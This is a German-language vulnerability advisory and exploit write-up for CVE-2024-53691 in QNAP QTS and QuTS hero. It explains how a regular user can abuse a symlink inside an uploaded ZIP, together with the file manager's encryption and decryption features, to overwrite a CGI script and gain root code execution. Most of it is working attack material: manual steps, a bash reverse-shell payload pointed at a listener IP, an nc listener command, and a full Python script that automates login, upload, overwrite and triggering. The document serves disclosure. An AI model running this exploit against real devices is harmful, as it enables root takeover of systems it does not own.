
CVE-2024-53691
„Bei Ausnutzung könnte die Link-Following-Schwachstelle es entfernten Angreifern, die Benutzerzugriff erlangt haben, ermöglichen, das Dateisystem zu unbeabsichtigten Orten zu durchlaufen.“
Entdeckungsdatum: 22. April 2024
Datum der Behebung: 7. September 2024
Betroffene Version(en): QTS 5.1.x, QuTS hero h5.1.x
Behobene Version(en): QTS 5.2.0.2802 Build 20240620 und höher, QuTS hero h5.2.0.2802 Build 20240620 und höher
Zugriffsberechtigungen: Regulärer Benutzer mit Datei-Upload-Berechtigung
Zusammenfassung:
Es ist möglich, einen Symlink über eine ZIP-Datei hochzuladen und die Verschlüsselungs-/Entschlüsselungsfunktion zu missbrauchen, um eine primitive beliebige Datei-Schreiboperation zu erhalten, die in Remote-Code-Ausführung umgewandelt werden kann.
Ein Angreifer mit den Rechten eines regulären Benutzers kann die Schwachstelle ausnutzen, um Code-Ausführung als Root-Benutzer zu erlangen und das System vollständig zu kompromittieren.
Erstellen Sie einen symbolischen Link und legen Sie ihn in eine ZIP-Datei. Das Symlink-Ziel gibt an, welche Datei überschrieben wird. Um eine Remote-Code-Ausführung zu erreichen, wurde /home/httpd/cgi-bin/restore_config.cgi ausgewählt.
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
Schreiben Sie die Shell-Befehle, die ausgeführt werden sollen, in payload.txt. Im Beispiel wird eine Standard-Bash-Reverse-Shell verwendet. Vergessen Sie nicht, die Listener-IP und den Port anzupassen.
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
Melden Sie sich als Benutzer mit niedrigen Privilegien an.
Laden Sie die ZIP-Datei über die Weboberfläche hoch.
Extrahieren Sie die ZIP-Datei, indem Sie mit der rechten Maustaste klicken und In /pwn/ extrahieren auswählen.
Laden Sie payload.txt nach /pwn/payload.txt hoch.

Verschlüsseln Sie die payload.txt, indem Sie mit der rechten Maustaste klicken, Verschlüsseln auswählen und Möchten Sie die Originaldatei verschlüsseln und ersetzen? auf Ja setzen.
Benennen Sie die Datei payload.txt.qenc in link.txt.qenc um, indem Sie mit der rechten Maustaste klicken und Umbenennen auswählen.
Entschlüsseln Sie die Datei link.txt.qenc, indem Sie mit der rechten Maustaste klicken, Entschlüsseln auswählen und den Modus auf Überschreiben setzen.
Starten Sie Ihren Reverse-Shell-Listener.
nc -nvlp 4444
Öffnen Sie den Endpunkt /cgi-bin/restore_config.cgi in Ihrem Browser, um die Ausführung der Reverse-Shell auszulösen.

Das folgende Python-Skript kann verwendet werden, um die Schwachstelle auszunutzen.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('creating zip file')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('uploading payload file')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('encrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('renaming payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('decrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('executing payload')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()